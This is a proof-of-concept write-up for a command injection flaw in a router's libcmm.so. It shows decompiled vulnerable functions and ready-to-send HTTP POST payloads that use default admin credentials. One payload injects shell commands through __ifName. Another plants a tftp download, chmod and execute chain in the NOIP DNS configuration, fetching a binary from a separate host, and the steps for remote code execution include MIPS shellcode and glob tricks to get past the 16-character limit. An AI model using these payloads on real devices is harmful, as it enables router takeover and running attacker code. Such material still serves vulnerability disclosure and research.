The Vulnerability

This vulnerability is discovered under the library module called libcmm.so, which processes parameters that are sent from the web server. These parameters are validated only under a request size of size 16 for the case of the __ifName argument, but at the character level there is no escapable character validation filter.

The vulnerable code segment can then be identified, which receives the parameters directly without being sanitized.

undefined4 oal_setIp6DefaultRoute(char *param_1,char *param_2)

{
  int iVar1;
  
  util_execSystem("oal_setIp6DefaultRoute","route -A inet6 del default");
  if (((*param_1 != '\\0') && (*param_2 != '\\0')) &&
     (iVar1 = strcmp(param_2,(char *)&DAT_000c0114), iVar1 != 0)) {
    util_execSystem("oal_setIp6DefaultRoute","route -A inet6 add default gw %s dev %s",param_2,
                    param_1);
    return 0;
  }
  util_execSystem("oal_setIp6DefaultRoute","echo 1 > /proc/sys/net/ipv6/conf/%s/sendrs ",param_1);
  sleep(1);
  return 0;
}

The vulnerable function is called from the object rsl_setL3Ip6ForwardingObj

undefined4 rsl_setL3Ip6ForwardingObj(undefined4 param_1,int param_2,int param_3)

{
  int iVar1;
  char *pcVar2;
  undefined4 uVar3;
  int iVar4;
  int iVar5;
  undefined auStack104 [32];
  undefined auStack72 [16];
  undefined2 local_38;
  undefined local_36;
  undefined auStack53 [37];
  
........
LAB_00064714:
  **oal_setIp6DefaultRoute(param_2 + 0x2a,param_2 + 2);**
  return 0;
}

We can test the command injection by sending the following payload.

POST /cgi?2 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 119
Origin: <http://192.168.0.1>
Connection: close
Referer: <http://192.168.0.1/mainFrame.htm>
Cookie: Authorization=Basic YWRtaW46YWRtaW4=

[L3_IP6_FORWARDING#0,0,0,0,0,0#0,0,0,0,0,0]0,3
__ifAliasName=ewan_ipoev6_d
__ifName=;ls;
defaultConnectionService=

Captura de Pantalla 2022-01-03 a la(s) 10.51.27 a.m..png

The exploitation

Finally the steps for remote code execution should be as follows:

  1. the payload must not exceed a size of 16 bytes, which requires at least two requests to be sent for code execution in this case.

  2. the router only has the tftp binary to download files so since there is no memory corruption exploit but command injection you should make use of the binaries provided by the router.

  3. you must compile a shellcode in c, making use of the MIPSLE architecture.

  4. finally invoke the command string for remote code execution as follows.

    1. must host the commands to be executed in some functionality of the router, for our luck we have the functionality to configure NOIP DNS.

      Captura de Pantalla 2022-01-03 a la(s) 10.37.08 a.m..png

      When this information is saved, it is stored in the following file: /var/tmp/dconf/noipdns.conf

      whose content is as follows, in my case

      enable 1
      username admin
      password admin
      domain admin.net
      server dynupdate.no-ip.com
      

    these arguments initially have a character restriction so we can place the commands in the three arguments, username, password and domain.

Check that the commands are properly injected into the configuration file with the following payload.

POST /cgi?2 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 186
Origin: <http://192.168.0.1>
Connection: close
Referer: <http://192.168.0.1/mainFrame.htm>
Cookie: Authorization=Basic YWRtaW46YWRtaW4=

[NOIP_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,5
enable=1
userName=;tftp -g -r s -l /var/tmp/dconf/s 192.168.0.3
password=;chmod +x /var/tmp/dconf/s
userDomain=;./var/tmp/dconf/s
login=1

You can check that the commands have been properly saved at will.

/var/tmp/dconf # cat noipdns.conf
enable 1
username ;tftp -g -r s -l /var/tmp/dconf/s 192.168.0.3
password ;chmod +x /var/tmp/dconf/s
domain ;./var/tmp/dconf/s
server dynupdate.no-ip.com

Now, since we have a character restriction and telling it in the command inject to read the configuration file /var/tmp/dconf/noipdns.conf will exceed the maximum allowed characters which is 16.

Captura de Pantalla 2022-01-03 a la(s) 10.50.04 a.m..png

You can then play with regular expressions in order to achieve this goal, see an example.

~ # ls */t*/d*/n*
var/tmp/dconf/noipdns.conf
~ #